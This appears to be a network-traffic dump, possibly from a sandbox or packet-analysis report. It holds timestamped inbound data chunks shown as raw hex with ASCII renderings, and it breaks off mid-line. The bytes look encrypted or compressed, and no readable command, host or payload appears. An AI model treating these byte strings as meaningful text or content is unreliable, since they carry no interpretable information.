2022-05-25 14:26:44 UTC	10	IN	Data Raw: 54 24 41 3d ef 1e f6 04 0e a4 93 f3 f9 6c 75 a0 7b 18 42 fb 75 b0 67 70 f0 45 17 70 b8 b0 d4 2c a8 fd 14 71 f2 e6 bb b9 46 f3 8c 15 96 4c 86 7d 1a 68 0f c0 b7 db a2 35 f6 f2 03 03 fa b1 c4 fc fb d4 c7 79 ee 8b 3e 04 20 5c 0c 2c ef ef 2b d8 b2 39 6e 4a 04 8f 38 39 c9 6f 8e 2c 20 a4 ad 1e 4e 44 28 61 11 d4 81 f9 67 b6 58 62 17 91 2b f3 44 ce f6 af 91 e0 63 0c c3 45 9e 2c 64 c0 9a 52 de 6f 22 be 51 72 d7 e1 1f 9f 8d f9 6e 16 fe ad 59 f6 96 e9 b2 7d 9c b5 49 33 91 48 20 06 8e ca dd 74 f4 6c 34 e1 f4 63 b3 44 50 72 9e 23 89 8e 8c 80 4c e2 59 d4 fc 01 69 4a 50 00 7a 4f e3 82 74 d9 a1 46 34 e6 1e d1 30 12 15 21 af 25 d2 60 9e 17 5b a9 49 46 ce 10 8b fd 9a d2 09 f2 37 08 80 2c 50 b5 09 f1 32 ed 05 d0 2a fd 3a 96 9e 57 c6 3b 7f 17 b1 bc ef ba d4 fd ad e8 e3 68 89 Data Ascii: T$A=lu{BugpEp,qFL}h5y> \,+9nJ89o, ND(agXb+DcE,dRo"QrnY}I3H tl4cDPr#LYiJPzOtF40!%`[IF7,P2*:W;h
2022-05-25 14:26:44 UTC	12	IN	Data Raw: 7f 82 48 00 0e 1e 93 c3 d2 1b 28 e8 a8 cf 22 4a 8d a7 22 f5 2b 00 d0 28 c3 24 d9 7d df 65 31 08 cc 9a da cd 50 e2 6b 7e c6 cb ef 77 bc f3 10 3d 58 21 b1 be 4d 66 6e ca 38 4c 35 91 89 06 37 1f 34 04 60 20 0f bd ce 8b da ac 54 72 6b 7c d2 97 2b 5a db dc d2 e3 e2 50 01 35 c9 2b c3 02 f8 80 d7 ff 27 be 2e 5b 15 46 17 7d 1a 9c 75 4b 59 22 f8 56 02 50 b4 69 72 cb 3c 6a c7 18 5a 6e ed 6c 1e 98 ad e9 ad 17 c9 ec e3 2d ed 65 d7 1b 4c f1 69 97 c0 88 ab 82 b4 04 45 4f 49 c9 00 ca f1 22 6a 79 1c 50 b9 82 fe f3 29 ae 5e 77 31 f1 fe ba 9f 72 0c c3 25 c2 3e 0e 3f 0d a4 1e f3 f9 6c 11 a3 63 3e 41 f3 db 92 b7 64 58 8a 17 70 ba b2 e0 03 a8 fb 38 3b 4e 66 9f 67 45 fc 8c 3b 3c 7c 96 7d 1e 43 db e6 87 d6 e9 b1 d2 b4 03 2e fb c3 fd b8 38 d4 c1 5e f8 8c 43 59 0b 5b 88 2d e8 c7 Data Ascii: H("J"+($}e1Pk~w=X!Mfn8L574` Trk\|+ZP5+'.[F}uKY"VPir<jZnl-eLiEOI"jyP)^w1r%>?lc>AdXp8;NfgE;<\|}C.8^CY[-
2022-05-25 14:26:44 UTC	13	IN	Data Raw: e4 a3 e9 d6 8b 26 27 f7 42 db 8a ec 50 f2 c5 e5 63 97 b2 2d ab 5a 20 bb b2 6b ce 35 13 8b 4d cf 58 9f 00 f5 6b d3 89 38 3d 2c e2 c8 43 5e 7f 1f 57 4d 84 c8 46 9a 98 88 0b b0 32 0d ea 32 a6 96 f3 90 eb 52 a2 ae bc 90 51 9b fb 3a 5e a4 4c d0 fe 50 25 c9 3f 8f 80 3c bd 59 bb 94 49 a0 b4 a3 e1 bf b4 30 e3 c8 5f 84 b2 af bb 01 ff fc 74 e9 82 97 6e 3e af 77 25 2f d8 11 57 48 cd d4 11 ee f5 fc 99 26 7f 82 2b d2 3d 9d 4a b4 43 66 36 8b 26 bd cc 0a 57 75 c7 27 dc 3d 11 22 0c 9d e4 1a 77 d4 5a 75 03 ca 4a d4 3c 63 a8 36 28 33 d2 26 2c 41 aa 14 11 7d 7d 80 c3 a7 de 05 a4 84 d3 27 0b aa a1 08 90 86 06 50 1b c5 0c 95 57 2b 49 7e 7a cd 9a dc e3 a6 ab 6a 74 c7 84 6b 76 bc f5 4e 1e 15 28 80 00 0a 6e 6f ca 38 60 53 f2 c9 07 31 76 a6 2b 6a 0e 48 94 82 8c f2 74 3b e1 60 56 Data Ascii: &'BPc-Z k5MXk8=,C^WMF22RQ:^LP%?<YI0_tn>w%/WH&+=JCf6&Wu'="wZuJ<c6(3&,A}}'PW+I~zjtkvN(no8`S1v+jHt;`V
2022-05-25 14:26:44 UTC	14	IN	Data Raw: 83 7f bb 7b ef b0 d9 ec 81 11 9d 68 89 74 30 9a 1b 0a 36 85 3a 7f 98 ce 6e c0 03 a9 fe 7f 45 11 0d 26 a9 0e 39 84 4f 75 7e 0d 0e d9 57 69 ed 7d ea ca 9f f4 60 c8 82 82 8b 37 35 06 e9 49 cb f7 a0 35 7c d5 2b 50 50 bb a7 1a 15 9e 9d 43 ee f4 02 1a 06 66 b0 d0 06 fa 22 bd 95 bb d9 26 b9 5a ac 61 b2 48 c8 fd 63 68 02 67 72 d1 9d d1 fb f5 9d 76 ef 56 b6 38 95 03 13 45 56 a9 00 0c 9f f0 05 37 d6 72 49 8b bb b6 29 a9 af c2 aa d3 47 e7 b5 7d ce e0 cb 08 7a aa 20 e9 e5 c1 c6 c4 b4 82 ba eb 92 b6 5e 64 6d 3a 5b 65 2f 72 9d 33 36 ad 58 9a b1 e8 f1 81 7b 42 f7 5c 99 9d 83 bc e9 f5 ec 79 f1 a1 0b ad 1a 5f bb a3 11 cd 04 13 8f 69 70 6f 4e 1e d7 4a f4 83 15 fe a1 ca 84 49 45 58 04 5c 7e a1 c5 4d e0 bb 5a 3d 64 cd 0d e0 ea aa 07 db dc ed 7a c9 b4 91 82 a9 9f d0 e5 9c 5e Data Ascii: {ht06:nE&9Ou~Wi}`75I5\|+PPCf"&ZaHchgrvV8EV7rI)G}z ^dm:[e/r36X{B\y_ipoNJIEX\~MZ=dz^
2022-05-25 14:26:44 UTC	16	IN	Data Raw: d4 c7 62 87 d8 3d 22 0f 59 ac 90 c9 3f 31 db 4d 47 10 4c 2c 62 10 fa c3 47 2c 01 22 70 d4 4d 3b 62 2e 4d 9f 55 a3 23 54 95 8c 61 1d bc f0 49 3b ce fc bb 96 ee 6d b5 dd 68 92 22 64 df 97 7f 35 4e 03 60 5f 6c d7 9f ca b2 8d f8 40 1b fd 9c 42 c6 98 86 3a 7d 9c bf 7f 24 c9 55 56 71 00 7d eb 94 0a e3 37 19 a6 4b 4c 4e 5b 73 96 47 ab 5e 98 80 1b e2 59 d8 ca 98 60 6c 50 00 11 4e e3 82 74 fe 81 6c d1 c3 36 9d 30 00 1f 68 e7 3d ea 21 be 8d 7c 6a 67 68 31 11 8a fb b2 48 09 f2 20 08 8f 2c 50 b9 c1 de 30 e0 e4 c3 cb db 3b 86 b5 54 cd 10 8a 10 eb 52 ef 9e 98 e4 97 38 f8 58 8d 7e 8f 64 1a 00 a2 b7 37 45 2d 8f 45 12 22 97 9e 76 63 1c 36 ab b8 0a 13 ed 69 ae 4b d0 d1 6c 71 bf db e1 15 ca 99 da 29 7d 82 88 53 2b 27 07 c2 66 b2 96 8d 1a 50 77 77 7a 56 95 c9 1c 14 9e 97 6b Data Ascii: b="Y?1MGL,bG,"pM;b.MU#TaI;mh"d5N`_l@B:}$UVq}7KLN[sG^Y`lPNtl60h=!\|jgh1H ,P0;TR8X~d7E-E"vc6iKlq)}S+'fPwwzVk
2022-05-25 14:26:44 UTC	17	IN	Data Raw: 38 4c 0c 54 a7 e3 82 d4 5a f9 72 61 5c b4 0a 10 5b dd f0 d9 c9 24 5e f5 da c9 3a db 82 f8 1a d1 d5 3c c3 2d 5b 74 38 2d 7d 2c 98 4c d3 71 1a f9 28 3e 7d b5 47 63 ee 3c 6a c9 2d 17 45 14 47 7e 9e f5 f2 bf 15 eb ab ce 33 c1 75 d3 f1 6a f7 18 ed 22 88 af a5 b5 0f 5c 67 b2 24 03 76 f7 59 79 16 ff 54 bb e7 59 f1 23 83 bc 1e 94 14 fe bc fa 65 24 4b 23 1c 12 f5 33 64 8c 52 f9 e7 4b 15 a8 7d 63 53 d3 dd b4 60 5a 92 52 c7 6e 94 65 54 03 ae d5 a3 5a 4e 60 bd d8 46 f7 ad 03 15 76 ad 9d 0c 41 f3 b9 87 d8 a8 9c 6c 2c 0d 3c f8 4f c3 81 39 d4 dc 1c 9a a6 3d 28 d7 4c a4 a9 ef ef 29 d9 b2 47 11 56 04 8b 10 fa fe 6f 9d 51 22 50 88 60 30 45 2a 65 3b 55 d8 ac 79 90 a7 62 17 97 00 07 4e ce e8 b1 bc e8 45 1a dd 68 9b 12 51 f3 9b 5f 56 1c 09 46 52 52 f9 eb 61 b4 a7 df 41 e2 c5 Data Ascii: 8LTZra\[$^:<-[t8-},Lq(>}Gc<j-EG~3uj"\g$vYyTY#e$K#3dRK}cS`ZRneTZN`FvAl,<O9=(L)GVoQ"P`0E*e;UybNEhQ_VFRRaA
2022-05-25 14:26:44 UTC	18	IN	Data Raw: 02 ed 50 80 1a 91 88 71 b6 da de 7a 74 52 f8 55 50 0d b3 17 7e c6 3c bb 70 c1 a4 4d aa c0 a0 ea 94 06 1a cb d8 4d eb 3b ae bb 1a 84 f8 52 e9 a2 cc 43 3d 88 5f 16 2f f3 34 51 65 df d6 7e 67 f4 fe 82 4b 5f 98 0d f6 f9 08 9a aa 6d 47 68 8d 22 fa ac 0b 57 79 94 fe dc 3d 13 57 15 98 c2 36 8f b4 9b 7b 64 33 4a de 27 5d bc 13 08 ba f5 f6 32 56 55 14 00 08 16 ee 4a a0 c6 2e 93 ae d5 0f 48 83 fd 0e ff 0a 19 7d 14 e5 22 f0 47 00 49 1a d9 16 96 f1 10 89 ea 43 c0 c1 eb 13 5c b4 f5 4f 3e 77 9a 80 06 63 c6 0f ca 3e 6c a5 b9 b6 44 37 19 26 45 e4 09 4e ba e2 9b 8c 4b 54 72 65 54 f3 36 11 5b dd a1 f3 e2 c8 7c b1 1b c8 21 e1 a0 d2 88 f9 d4 2c 8e 2d 5b 65 52 17 55 10 9c 3e 1c 71 1a f8 55 34 77 b5 72 0c b0 3c 6a c3 35 3a 45 2b 79 33 b4 f8 29 6b 3f 13 ea e6 cc cb 63 f9 f8 51 Data Ascii: PqztRUP~<pMM;RC=_/4Qe~gK_mGh"Wy=W6{d3J']2VUJ.H}"GIC\O>wc>lD7&ENKTreT6[\|!,-[eRU>qU4wr<j5:E+y3)k?cQ
2022-05-25 14:26:44 UTC	20	IN	Data Raw: 35 76 ee 3d 77 a2 91 a8 40 15 9e 9c 58 ca f0 44 5d 07 46 f6 89 06 fb 31 ab 9d 96 93 7a 99 2e 84 b1 ac 60 2c cd 67 6e a5 d2 72 d1 de a2 a3 e4 b5 ea f8 7b ab 32 ee e2 91 45 52 c6 25 3d 9f f6 19 32 d6 55 5f 92 95 68 43 29 91 e4 d4 e6 6c 29 ba 7e bc f3 cc 25 ba a2 59 c9 e3 4e d1 ec be 98 cb f2 ba 69 45 77 63 43 78 61 07 e2 b5 22 3d c2 09 e4 a3 e3 f6 99 01 45 62 5c 9d 80 c4 03 e9 f5 ec 0c 87 b2 2d a1 44 52 9b 73 0b 9b ca 13 8f 6b 0d 78 67 8a dd 94 d9 9b 3a 3d 11 e2 c8 43 6d 00 1c 71 6c af 6f 6d 9a 94 a2 96 4c 32 0b f1 ea 95 eb c8 da fa 54 b9 b3 1f 3f 45 00 dc a1 1f 74 52 f2 29 7a 24 cf 11 31 fe 41 bb 71 de b4 c3 8b ba be c2 6b 52 1a cd e1 e7 84 b2 a5 b6 62 82 f5 52 ed 86 cf 46 ee b0 5c ea 25 d8 32 7f e0 cd d4 1b e2 fc d6 2a 30 53 92 21 ff d9 91 90 ab 6b 93 3f Data Ascii: 5v=w@XD]F1z.`,gnr{2ER%=2U_hC)l)~%YNiEwcCxa"=Eb\-DRskxg:=CmqlomL2T?EtR)z$1AqkRbRF\%2*0S!k?
2022-05-25 14:26:44 UTC	21	IN	Data Raw: 22 95 58 69 7d ef 61 f2 8d f9 6a 71 d6 68 48 f4 8a 1c 0d 35 9c bf 40 55 81 44 28 0e 15 50 c8 b0 28 65 8b bd 13 63 b3 4f 45 58 a0 88 a9 46 08 d1 fe e2 59 d3 a5 f8 69 4a 57 3f 36 5f c5 80 ad df a3 a7 24 e6 18 fb 3c 2b c2 79 e1 c5 c6 0d 70 04 6a bf 79 0a ce 11 8a 9f 9a fc 18 f0 30 ba 97 64 50 b3 1e ac 73 cb 02 e8 cf d0 0b b0 b7 43 57 64 21 10 c2 7a f5 97 f6 c2 95 21 79 11 c4 7e 26 65 6b 4d e8 b7 36 48 7e df 63 10 3f 1b c6 75 45 1b 05 28 b1 02 1e c0 42 44 60 25 f7 f3 5a 44 08 c5 c1 1c 92 f7 e5 c8 82 9b 65 38 3c 65 ef 40 a4 ed a0 35 67 0b 2b e0 2f d9 a6 06 14 ef d5 43 fa f5 58 6d 30 60 f4 c7 9c 8f 8b bd 81 ba a7 71 94 76 ae 79 28 31 9e cd 67 69 fc 2a 72 d1 d9 c7 d7 fb 93 e2 f6 cc c9 58 90 de 90 34 1a a9 7e 3c 92 f8 06 19 cf 5b ab 81 93 45 03 a5 8e 2c df c9 96 Data Ascii: "Xi}ajqhH5@UD(P(ecOEXFYiJW?6_$<+ypjy0dPsCWd!z!y~&ekM6H~c?uE(BD`%ZDe8<e@5g+/CXm0`qvy(1gi*rX4~<[E,
2022-05-25 14:26:44 UTC	22	IN	Data Raw: de 09 af 3f 85 f4 ce 39 a4 23 fe fa 46 df 61 ee 08 9f 81 88 b2 24 5c 5d 93 d7 27 35 f1 22 6c 16 ff 50 bb 9f c0 dd 24 a3 d1 23 18 15 f4 90 b3 7f d3 4b 26 f2 32 d0 14 28 8c 52 f3 f9 66 0b 8c 66 04 6b d4 fb 98 26 7a 70 7f 3d 56 97 6d 54 00 98 f9 10 3d 4e 66 95 b9 46 f7 a7 0d 0c 7d 86 7f 36 05 db db 8d f0 45 b1 f6 f4 d3 30 fa b1 d7 a7 7f d4 c7 79 d1 41 3d 22 0d 8b 93 01 ef ed 07 b5 b2 47 1a 62 e3 8b 10 fc e1 80 84 01 24 aa d5 60 30 46 00 23 31 55 a9 01 9e 9e a7 64 37 63 ad 1a ba a8 9a d4 da 8d 20 7c bb 0d fe 6f 2e f6 65 79 28 65 21 b6 58 7a 4b c3 91 b2 8d ff 42 fe d6 68 5f dc 9c 85 44 77 9c b0 41 24 c9 44 28 0f 00 7f f1 81 07 75 37 e1 f9 63 b3 44 71 53 95 59 ab 5d a2 ab b3 82 59 d2 d4 b5 69 4a 56 00 f6 4f e3 8e 8a 56 80 cc c4 80 7b b7 55 66 70 14 ac 40 ad f6 Data Ascii: ?9#Fa$\]'5"lP$#K&2(Rffk&zp=VmT=NfF}6E0yA="Gb$`0F#1Ud7c \|o.ey(e!XzKBh_DwA$D(u7cDqSY]YiJVOV{Ufp@
2022-05-25 14:26:44 UTC	24	IN	Data Raw: 84 30 51 b0 4b f2 d1 b3 f5 ea 6a 99 3c a5 21 bf 0d ef 57 7f e9 df dd 17 0d b5 6d 98 c2 31 49 c5 cc 53 28 33 6c d2 2b 50 61 3e f9 f7 b4 43 4a 18 cf 72 65 6b 72 e7 a6 3f c0 3e c8 94 f4 87 f9 cd c7 6b 99 65 62 36 7b a6 ba db 4e 0b 69 ce b5 ff fc bf 83 e8 87 0d 11 a7 8e 8b 71 a5 d3 81 07 55 a5 e6 63 03 8b 08 af 58 00 1e 27 e8 43 b1 d1 43 4c 0f 6e 28 d9 ab eb 97 14 4f 5f 7c 70 9f d6 0c 76 c1 fc fc fd e8 1b b7 28 e4 35 cd 90 e0 ad c3 f3 2a 9d 28 70 2e 4c 3c f1 27 b7 94 56 5a fe f4 7d ee 6e b1 68 e7 b8 35 70 a1 3c 21 25 53 65 46 83 da 0f bc 13 da ab 5a 6b aa 3b f3 eb 48 f6 3b eb 26 81 a3 92 d0 2c 44 0e f8 df 70 24 f5 24 7d 12 e0 5b da 91 8a 64 7b e4 e6 7c 08 10 e9 e2 86 51 35 4e 3a e2 0b 6f 0d 3b 8a 79 f8 ff 77 0d 98 e5 09 40 c4 85 a3 61 6b 76 6f 24 80 be 92 29 Data Ascii: 0QKj<!Wm1IS(3l+Pa>CJrekr?>keb6{NiqUcX'CCLn(O_\|pv(5*(p.L<'VZ}nh5p<!%SeFZk;H;&,Dp$$}[d{\|Q5N:o;yw@akvo$)
2022-05-25 14:26:44 UTC	25	IN	Data Raw: 46 2f 49 81 97 68 38 d7 ff e4 d4 e6 56 ec de 52 5e e0 cd 8e 0c b3 5e dc ed cc cb 83 fc 82 ba eb a9 65 80 74 41 4d 05 26 2e 76 bf 51 73 ac 52 ee b0 e5 2f 8b 14 61 98 19 9c 8a e6 d1 b7 f5 e6 67 a2 ec 2d ab 60 0c b4 dd 4b b3 35 17 01 04 32 7a 5b 9e 83 94 d3 8d 40 75 84 e2 cc 42 53 d2 7c 71 66 83 ea 89 9a 9e 8c 30 41 35 1c ed 81 e3 b8 dc fc 68 06 fc bc f0 83 70 bc e1 a6 0f 53 33 f3 06 70 17 26 1d 3b a0 f7 45 8e 25 f2 2c cc 0f c6 8f f2 34 7f 93 a8 44 83 92 50 92 5a eb 93 37 8f c0 b4 08 5b c8 11 74 2e df b4 08 48 cd d0 6f b3 f5 fe 80 10 21 67 f2 fd 8e 99 1e b0 6b 99 57 0b 7d 95 25 0e 29 1e ef f2 d8 22 e6 5e 44 fe a4 55 37 9a d8 36 77 1e 58 f4 86 db 98 35 a8 cb d2 26 28 55 ac 6a 5f 0e 14 85 c8 df 9b 28 e8 a6 f5 b5 e7 ab a1 3d d5 19 8a 73 1d c3 25 ce 58 3a 41 07 Data Ascii: F/Ih8VR^^etAM&.vQsR/ag-`K52z[@uBS\|qf0A5hpS3p&;E%,4DPZ7[t.Ho!gkW}%)"^DU76wX5&(Uj_(=s%X:A
2022-05-25 14:26:44 UTC	26	IN	Data Raw: b0 26 ce 1a d0 30 06 17 09 a9 25 cc 22 88 10 88 26 53 42 b5 73 8a fd 9e fe 72 91 26 20 ea 2a 53 b5 46 b2 67 ca 02 e3 d1 fa 17 90 b7 7c c9 11 8a 16 c4 7c b7 b0 d8 e7 a5 e0 c9 68 9a 4e 25 64 2f 00 e8 b7 58 54 53 d4 47 69 44 81 b2 7b 5f 36 13 04 ba 1e 0f ea 60 83 46 23 dd cb 7c 65 cf e2 1b b7 fb dc 01 cc a9 79 53 52 45 2a ef 4a a6 9a bd 18 75 2f 1b 50 2b f2 a6 06 11 b5 65 43 fa f4 57 70 00 46 93 d0 06 fb 50 bd 81 aa bc 4a 96 56 df 3c b3 48 d9 b7 64 e5 af 67 72 d0 cd fc f3 c2 a3 fc c2 50 96 3f 96 d4 ba b3 5d 82 7e 3f e4 92 01 1f c2 75 4e 82 fc 1f 28 a9 af f1 f9 e4 61 ef 9d 41 74 e3 c7 25 af b4 56 80 ee c2 ca b5 40 88 bb e1 b9 7f 6e b3 60 42 e4 0c 01 65 b2 af 15 ad 52 e5 ae ef e7 82 13 6a df 02 9c 8a e6 58 e3 f3 cc 63 dc b2 2e 9b 6d 20 a0 a3 15 b3 35 13 8f 6d Data Ascii: &0%"&SBsr& SFg\|\|hN%d/XTSGiD{_6`F#\|eySREJu/P+eCWpFPJV<HdgrP?]~?uN(aAt%V@n`BeRjXc.m 5m
2022-05-25 14:26:44 UTC	28	IN	Data Raw: 40 d5 f5 2f 67 7a 76 5d 21 71 bc 9c 3b 94 a9 fd 16 70 4d 56 9c b9 57 f7 a7 dd 16 7d 86 7d 36 60 da db 8d c4 8f b3 d0 d8 83 67 fa b1 d1 a4 c1 d4 c7 73 e2 96 3e 22 83 5b 8c 01 98 ef 2f e2 b0 51 8a 3e af 8b 10 fb de 42 93 27 20 6d 54 19 10 44 28 64 40 75 a3 29 78 8b 8a 6b 31 91 2f 7c 6f c8 f7 9a 5b e2 6e ef da 40 03 0a 4f d8 8f 54 23 45 01 6e 2d 7a 4d e1 4c b9 a6 fa 66 3b 25 60 71 e0 9d 86 72 a3 b8 9a 69 68 c9 44 22 02 07 55 73 96 2a 74 18 e9 4c 48 63 50 73 8a be ae ad 76 26 a8 b3 e4 71 b3 d4 b5 63 94 56 56 36 4f e3 8c c5 8f 8b 47 2e f0 30 de 4e 2d 15 72 ce 4a 9b 26 9e 1d 72 af 78 40 c8 3b 8b ed 9a fc 09 f2 0e 20 f1 6b 50 97 59 dd 3b ca 11 d9 d2 fd 0c 96 b5 54 de 10 8a 01 bc 38 ef ba da f3 81 2f f9 e5 fb 7e 26 65 04 2d ca 91 31 42 51 49 0d 12 26 80 10 79 52 Data Ascii: @/gzv]!q;pMVW}}6`gs>"[/Q>B' mTD(d@u)xk1/\|o[n@OT#En-zMLf;%`qrihD"Us*tLHcPsv&qcVV6OG.0N-rJ&rx@; kPY;T8/~&e-1BQI&yR
2022-05-25 14:26:44 UTC	29	IN	Data Raw: 26 75 00 07 5a c1 c5 0e dd 57 3b 4f 11 f0 cc 8f da c8 cc e2 6c 74 c1 eb 15 6c 8c f7 48 58 5f 29 80 24 65 ee 7f c8 45 08 7b b9 cc 12 1a 10 04 2c 42 81 4e bc c4 a6 f1 78 7f 87 63 2d f2 bf 10 5f d8 b5 73 e2 c8 72 f2 1a cb 5a 85 86 f8 84 d2 ba b1 8e 2d 51 61 6e 45 7d 2c 96 1a 09 71 1a f3 7a 06 a3 9a 41 77 de 3c 6a c7 36 3e 6e 60 6c 1e 98 b1 87 ad 17 c9 2a d5 31 b0 0d ff fa 48 f2 67 d0 70 88 ab 82 dd ab 5f 6d 93 09 2f 33 d9 a8 6c 16 f5 8c 93 e7 b1 f1 33 85 be 73 19 00 fe eb f3 54 23 4b 25 c2 38 cb 2b 2b 8c 61 f3 f9 66 28 8e 7b 09 44 a8 b3 b0 67 7e 66 59 1e 56 bb b2 dd 03 a8 f7 3b 59 45 4d 60 bb 3d 99 a7 dd 12 7e e9 f1 1e 43 d1 c5 aa db 84 6f fc f8 28 d5 fd 99 5f 8f 39 de 1b 75 d3 a6 3c 32 0b 5b 8e 01 fa ef 3a d9 b2 40 10 4a 04 8b 0b ca cc 6f 00 01 22 7a ea 60 Data Ascii: &uZW;OltlHX_)$eE{,BNxc-_srZ-QanE},qzAw<j6>n`l*1Hgp_m/3l3sT#K%8++af({Dg~fYV;YEM`=~Co(_9u<2[:@Jo"z`
2022-05-25 14:26:44 UTC	30	IN	Data Raw: ce 2d ab 75 22 93 8e 14 b3 33 0b a2 64 39 6e 4e 65 58 94 d3 8d 14 1e af 17 c8 49 45 49 2c 77 66 d6 c7 6d 9a e3 8a 23 5d 4c 79 e0 ec 86 a9 f6 d6 cd 43 a2 9c 18 88 77 96 f0 ca 69 7e 79 0b 7f 23 25 cf 13 39 ef 4e ba 71 d0 ea 3a aa 6a a4 e9 fb 21 1b cb c3 31 f7 b2 af bf 18 90 86 53 e9 ac d4 7f 35 86 14 14 25 d2 18 5a 36 be d4 11 ea e3 91 f6 31 53 92 26 ee af ca 9a aa 6f 8e 59 f9 21 95 2f 74 24 7f ef f6 d3 3e 3f eb 21 98 c8 5f 25 fe be 59 26 37 73 f6 38 70 98 23 26 92 5c 91 3b 27 b3 39 0a 28 09 ac c9 87 fe 2d ec a2 d5 1c 40 80 52 1d fa 2b f4 5e 19 d2 21 47 39 5e 4e 11 f8 d9 b7 d6 c3 9f e6 04 02 c0 eb 1f 5b ab d8 4c 25 5b 02 71 17 61 c6 19 cb 3e 6c 6e 94 cb 21 1c 1d 31 2e 41 08 30 ca ce 8d f6 63 50 1d 19 57 9c b5 0c 76 b7 fc 81 91 c8 78 da 3c a6 52 ea 86 f2 89 Data Ascii: -u"3d9nNeXIEI,wfm#]LyCwi~y#%9Nq:j!1S5%Z61S&oY!/t$>?!_%Y&7s8p#&\;'9(-@R+^!G9^N[L%[qa>ln!1.A0cPWvx<R
2022-05-25 14:26:44 UTC	32	IN	Data Raw: 82 99 54 51 69 88 d2 b2 4c cf 22 6c 17 8e 6e b9 88 d4 e3 2b fb cd 71 19 11 ec b2 bd d3 25 4b 2f ad 41 d1 1b 22 f2 21 f3 f9 62 19 86 53 90 47 d3 d7 df 1e 7b 70 7f 69 03 bc 9a 50 11 a0 d5 99 5b 4e 6c fa c0 47 f7 ad a3 65 7d 86 79 0c 4b f3 51 86 d8 a8 de 8f f3 03 24 d1 a8 ab fc 39 d4 c3 7d fd b7 38 b8 7f 98 8c 01 ee 80 86 f3 b2 4d 7f 31 05 8b 1a eb cc 78 dc 12 27 6b cb 71 3c 7a d2 9e ce aa dd 5d 79 9e a3 0d 9c 96 03 3d 48 b0 88 b1 bc ec 53 70 b2 e4 99 0a 45 dc bb 19 20 ed be 66 04 79 4d eb 53 e4 f3 8a 6a 10 d2 6a 36 84 9d 86 7e 03 ef bf 41 20 c1 ca 9f 18 59 12 96 97 2a 78 6f bd b8 63 b7 59 4c 06 33 af ab 54 81 a1 a2 eb 51 c5 dc 3b de 5d 0f 47 95 4e e3 82 bb d0 e4 3e 24 e6 14 af 44 00 15 76 a5 ae cd 26 94 1b 24 ce 79 40 ca 07 e0 92 16 fd 09 f8 0d 24 e6 3a 46 Data Ascii: TQiL"ln+q%K/A"!bSG{piP[NlGe}yKQ$9}8M1x'kq<z]y=HSpE fyMSjj6~A Y*xocYL3TQ;]GN>$Dv&$y@$:F
2022-05-25 14:26:44 UTC	33	IN	Data Raw: 7f ef 8c a9 3d 17 3c 33 91 bc 41 51 ff ba 4c 38 5c 80 d4 3c 7a b0 a7 29 96 d8 37 25 f2 e2 14 00 0f 7b da c3 a1 cc 10 61 a2 d5 0f 32 de a1 0e fb 12 0b 2e 6c c3 24 d9 39 e2 4f 11 f8 b2 eb da e5 8a 8d a2 74 c1 e1 3d e8 bd f3 42 27 53 a5 bf 06 65 ef 01 91 3e 66 71 92 93 79 42 19 22 2e 78 05 30 cd ce 8d f6 1d 9d 72 61 5c e2 ce 10 5b df b5 36 e2 c8 72 a0 44 c9 21 ef e9 31 80 d1 df 42 ff 2d 5b 61 29 de 7d 2c 96 5d fa 70 1a f3 47 09 f1 8b 43 0c b1 53 31 c3 35 30 6d 2b 12 6b 92 de 0d d3 66 c3 f4 ca 5c 5f 62 ff f0 3f 50 62 f8 28 e7 f0 88 b2 2e 21 1f 99 d7 2c 5a 53 23 6c 1c 81 22 b9 88 d1 9f 80 84 be 7b 59 63 02 45 6a 46 26 35 50 c2 38 d4 74 4d 8c 52 f9 84 e3 0b 8e 7f 10 4c ad a8 b0 67 7e 1f d1 16 70 b6 e4 25 03 a8 f9 7f ff 4f 66 9f 67 4e e6 af f5 9c 7d 86 77 c2 45 Data Ascii: =<3AQL8\<z)7%{a2.l$9Ot=B'Se>fqyB".x0ra\[6rD!1B-[a)},]pGCS150m+kf\_b?Pb(.!,ZS#l"{YcEjF&5P8tMRLg~p%OfgN}wE
2022-05-25 14:26:44 UTC	34	IN	Data Raw: 0e 57 b5 48 54 c5 c1 c2 ed 96 d0 bb e1 bc 10 7e 64 67 45 1b 45 2f 76 b4 08 24 9d 50 e4 83 e9 f1 8b 0e 6d f7 4d bd 3b c1 81 f7 dd 19 63 dc b4 3b 27 44 20 bb a2 3d e0 34 13 89 14 3f 7c 4f 1f ac b4 d3 89 3f 3f 97 d2 ca 49 65 52 1c 71 6d 87 c2 7c ba 38 a7 f3 52 1a f2 e0 ec 84 a5 57 fc eb 52 a9 9c c2 89 77 9a a2 ee 7a 74 53 89 21 50 25 ce 3d 28 b0 3e bb 67 da 94 49 fd 6a a0 fb b4 15 37 1b d7 67 7b b2 af bd 08 d7 a6 53 e9 a0 a5 64 3e ae 6f 3f 25 d8 27 67 4a cd f4 11 ee f5 f5 84 30 42 b8 65 df 01 a7 b2 55 6b 99 30 9c ac b5 25 0a 56 57 bc f3 dc 3b 6e 18 21 98 c3 41 71 ff be 52 02 20 7a d6 3c 50 98 35 28 9d d2 26 3d 5e a8 39 d0 10 3c 7e c3 a1 c0 3e 64 82 d5 0f 4d 83 f2 0f ff 06 7e 70 1d c3 25 ac 76 2b 4f 10 d8 df aa d8 e5 ae e2 6b 74 ca eb 15 66 9c ce 65 e6 41 01 Data Ascii: WHT~dgEE/v$PmM;c;'D =4?\|O??IeRqm\|8RWRwztS!P%=(>gIj7g{Sd>o?%'gJ0BeUk0%VW;n!AqR z<P5(&=^9<~>dM~p%v+OktfeA
2022-05-25 14:26:44 UTC	36	IN	Data Raw: b1 11 8a f7 b0 e8 1e df 3e 06 e6 2f 46 a5 03 f0 28 ed 10 ec dc ef 39 be 7b 54 cd 16 9c 23 eb 50 e8 b0 f5 02 84 3c c8 82 80 0d 94 65 1a 0a f0 9a 23 72 5b c6 53 04 35 84 a0 7a 43 09 1d 0a 76 0a 19 c0 4c 8e 63 2f da 33 5f 47 0a c9 ea cc bf da 2c ce fc f7 55 3d 36 00 e9 2f 17 8f a0 3f 5c 09 26 4a 51 91 cc 06 15 9e 1a 43 fa e5 6c 18 07 46 f0 cb 2b ce 06 aa 95 c8 0b 5d b9 5a b9 4c 9f 6e c5 db 47 93 82 78 72 d9 ce c5 88 51 b4 e0 e5 4f 9d 09 b6 d7 fe f3 57 a9 74 2b 98 9f b6 1e c6 79 40 a9 ca 42 29 af af 3a ff ef 6c 2e bd 7e 8e eb e0 ef 72 9b 12 d8 e5 cb d1 e8 af 87 9a e7 95 b9 40 4c 98 44 6a 63 07 c2 b5 22 31 bb 58 cc c2 e9 f1 81 db 6d f1 76 52 8a ed 41 e9 f5 e6 63 dc b2 6b ed 64 02 fd a3 15 b2 2e 23 8c 6d 5e 7c 4f 